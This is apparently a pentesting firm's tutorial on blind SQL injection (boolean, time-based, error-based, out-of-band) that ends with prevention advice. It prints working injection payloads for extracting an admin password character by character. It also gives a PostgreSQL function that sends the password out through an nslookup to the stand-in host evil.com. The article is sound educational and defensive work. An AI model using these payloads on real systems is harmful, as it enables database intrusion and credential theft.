Blind SQL Injections are a category of SQL injection. Unlike traditional SQL injections, they do not directly provide the results of queries or detailed error messages.
The attacker must therefore rely on indirect clues, such as changes in the application’s behaviour or variations in response times, to exploit the vulnerability.
These attacks, although more discreet, make it possible to bypass the traditional barriers to accessing sensitive data in a database. In this article, we will explore the principles of blind SQL injections, the types of attack and different exploitation techniques. We will also look at best practices for effective protection.
Comprehensive Guide to Blind SQL Injections
What is Blind SQL Injection?
A blind SQL injection is a vulnerability in an application that allows an attacker to execute malicious SQL queries on a database, even if the application does not directly return the results of the queries.
Unlike a classic SQL injection where the attacker can see the data displayed on the screen, here he has to deduce the information from the application’s indirect responses.
The aim of a blind SQL injection is to gradually recover sensitive information (such as user data or credentials), often automating the process with tools such as Sqlmap.
What are the Main Types of Blind SQL Injection?
Boolean-based
In Boolean-Based Blind SQL Injection, the attacker adapts his approach to detect subtle changes in the page content, while maintaining the same attack logic.
This type of exploitation remains silent on the server side, but depends heavily on the attacker’s ability to identify specific HTML elements triggered by valid or invalid requests.
Time-based
A Time-Based Blind SQL Injection bypasses the usual protections by exploiting the server’s response time.
Although more complex and slower to execute than other types of injections, this method is still effective for extracting sensitive information in the absence of visual indications or client-side errors.
Example:
' OR IF(1=1, SLEEP(5), 0) -- (the delay shows that the condition is true)
' OR IF(1=2, SLEEP(5), 0) -- (no delay, false condition)
Error-based
This type is based on the error messages returned by the server. An invalid SQL query can cause visible or generic errors that provide clues about the structure and data in the database.
Out-of-Band
Out-of-Band SQL Injection is particularly powerful because it can extract data even if the results of the query are never returned to the client.
It is also more discreet than methods based on errors or delays, as it does not generate any suspicious behaviour that is visible in the application itself.
However, this type of attack relies on certain specific conditions:
- The server must allow the execution of system commands or functions that interact with external services.
- The network configuration and security policies must allow outgoing requests, particularly DNS.
Although more complex to implement, this approach underlines the need for greater vigilance in managing a database’s permissions and external communications.
How to Identify and Exploit a Blind SQL Injection?
Exploiting an error-based blind SQL injection
Error-based SQL injections are relatively simple to identify and exploit. An invalid SQL query returns a generic error, whereas a valid query generates no error.
Vulnerability identification
Let’s take the example of an application (testshop.vaadata.com
) which uses an ‘id’ parameter in GET to display information about an item.
Here’s how this parameter is transmitted:
https://testshop.vaadata.com?id=12
On the server side, the id is retrieved and used in the following SQL query, which is vulnerable to SQL injections:
SELECT itemName FROM Items WHERE itemId = 12
If a user injects an invalid value, such as:
https://testshop.vaadata.com?id=blabla
The server returns a generic error of type 500.
On the other hand, if the request is modified to remain valid:
https://testshop.vaadata.com?id=12 AND 1=1
It will be interpreted by the server:
SELECT itemName FROM Items WHERE itemId = 12 AND 1=1
This translates as ‘retrieve item number 12 and check that 1=1’, which is a valid request that returns a code 200 (OK) on the client side.
To confirm the vulnerability, a new request can be sent:
https://testshop.vaadata.com?id=12 AND 1=2
Since 1=2 is false, the server returns an error 500, confirming that the ‘id’ parameter is vulnerable.
Exploitation and data extraction
Once the vulnerability has been confirmed, the request can be manipulated to add conditions. If the condition is true, the request passes, otherwise it fails.
For example, to extract the password for the Admin user, the following query can be used:
https://testshop.vaadata.com?id=12 AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Admin'), 1, 1) = ‘a’
This request checks whether the first letter of the password is ‘a’.
- If the letter is correct, the request passes and the server returns a code 200 (OK).
- Otherwise, an error 500 is generated.
Each letter can then be tested successively (‘b’, ‘c’, etc.) until the correct one is found. Once the first letter has been identified, we move on to the second, and so on, until we have reconstructed the entire password.
In our example, we are retrieving a user’s password, but we could retrieve any information in the database.
Although simple, this approach is very slow and not very discreet. Each attempt generates logs on the server, making it easy to detect. In addition, a complete dump of the database would take an extremely long time.
To optimise this attack, techniques such as the use of <
and >
operators can reduce the number of queries required, but this remains laborious.
Example of boolean-based blind SQL injection exploitation
In this example, the same application (testshop.vaadata.com
) is slightly modified. In the event of a problem when retrieving an item, it no longer returns an error, but simply displays less information or no content.
The important thing here is that there is a visible and consistent difference between a valid request and an invalid request.
For an attacker, this does not fundamentally change the method of exploitation.
Let’s take this request:
https://testshop.vaadata.com?id=12 AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Admin'), 1, 1) = ‘a’
It remains a valid attack vector. However, instead of relying on an HTTP error code or other explicit feedback, the attacker validates the success of the attack by observing a specific element of the HTML content.
For example:
- If the request is valid, a specific element (such as a title, button or description) appears in the page.
- If the request is invalid, this element is missing or the page content changes.
In this case, the information returned by the vulnerable query (for example, the password) is not directly displayed on the page. This distinguishes a Blind SQL injection from a classic SQL injection.
- Blind SQL injection: The result of the vulnerable query is not directly visible. The attacker must deduce the server’s behaviour by analysing indirect changes (HTML content, response time, etc.).
- Classic SQL injection: The result of the vulnerable request is directly displayed or used in the page, which simplifies exploitation.
Exploiting a time-based blind SQL injection
In this case, the application does not show any visible clues on the client side. The direct or indirect result of the SQL query is not used, and no error message is returned, even in the event of failure.
However, it is still possible to exploit the vulnerability by using functions that conditionally slow down the server response.
Let’s take an example with a PostgreSQL database (the functions vary depending on the DBMS used).
A malicious request could look like this:
https://testshop.vaadata.com?id=12; SELECT CASE WHEN (SUBSTRING((SELECT Password FROM Users WHERE Username = 'Admin'), 1, 1) = ‘a’) THEN pg_sleep(5) ELSE pg_sleep(0) END
This request can be interpreted as follows: if the first letter of the ‘Admin’ user’s password is ‘a’, the server will wait five seconds before responding; otherwise, it will respond immediately.
To exploit this vulnerability, the attacker first tests whether a conditional delay causes a noticeable slowdown in the server’s response, thus confirming the presence of the vulnerability.
He can then manipulate the request to progressively extract the targeted data. For example, by checking each character of a password one by one, starting with ‘a’, then ‘b’, and so on.
Once the first character has been identified, it repeats the process for the next, until the complete information has been reconstructed.
This approach is effective even when the request does not produce any visible results, provided that the server waits until the end of the execution to respond.
However, it does have its drawbacks. The process is slow and generates abnormally long response times, which can be detected by a monitoring or log analysis system. Despite this, it remains a powerful method for bypassing protections in the absence of errors or visible clues.
Exploiting an out-of-band SQL injection
In this last scenario, the server does not depend on the database response to return results to the client.
None of the classic techniques (based on errors or delays) work in this context.
However, this does not mean that the application is secure. In fact, an attacker could exploit the vulnerability by using alternative channels to extract data, such as DNS requests.
An attacker could control a malicious site, such as evil.com
, which is capable of recording all the requests it receives, including DNS requests.
He could then inject an SQL query designed to trigger a DNS query containing sensitive data, such as a password.
Here’s a demonstration using PostgreSQL:
declare c text; --variable declaration
declare p text; -- variable declaration
BEGIN -- start of the function
SELECT into p (SELECT password FROM Users WHERE Username = 'Admin'); -- the Admin password is stored in p
c := 'copy (SELECT '''') to program ''nslookup '||p||'.evil.com'''; -- we make a DNS query (nslookup) on the subdomain adminpassword.evil.com
execute c; -- execution of the request
END; -- end of the function
$$ language plpgsql security definer; -- specific to PostgreSQL, specifies that the function is in plpgsql and must be executed with the privileges of its owner
SELECT f(); -- execution of the function
How to Prevent Blind SQL Injections?
SQL injection, even without returning any results to the client and despite several application layers, remains a major attack vector. It can be just as devastating as a classic SQL injection.
For a defender, blind SQL injections are often easier to spot. Attacks based on errors, Boolean responses or delays generate a large number of requests, and therefore logs, while out-of-band attacks produce requests to suspect subdomains.
The protective measures remain the same as for classic SQL injections:
- Use prepared statements.
- Never trust user data, whether received directly (via a form, for example) or indirectly (via data reused from storage).
A solid monitoring system can help detect these attacks. However, this type of solution is reactive and insufficient on its own. If a database is successfully attacked, even briefly, it should be considered as compromised.
Author: Renaud CAYOL – Pentester @Vaadata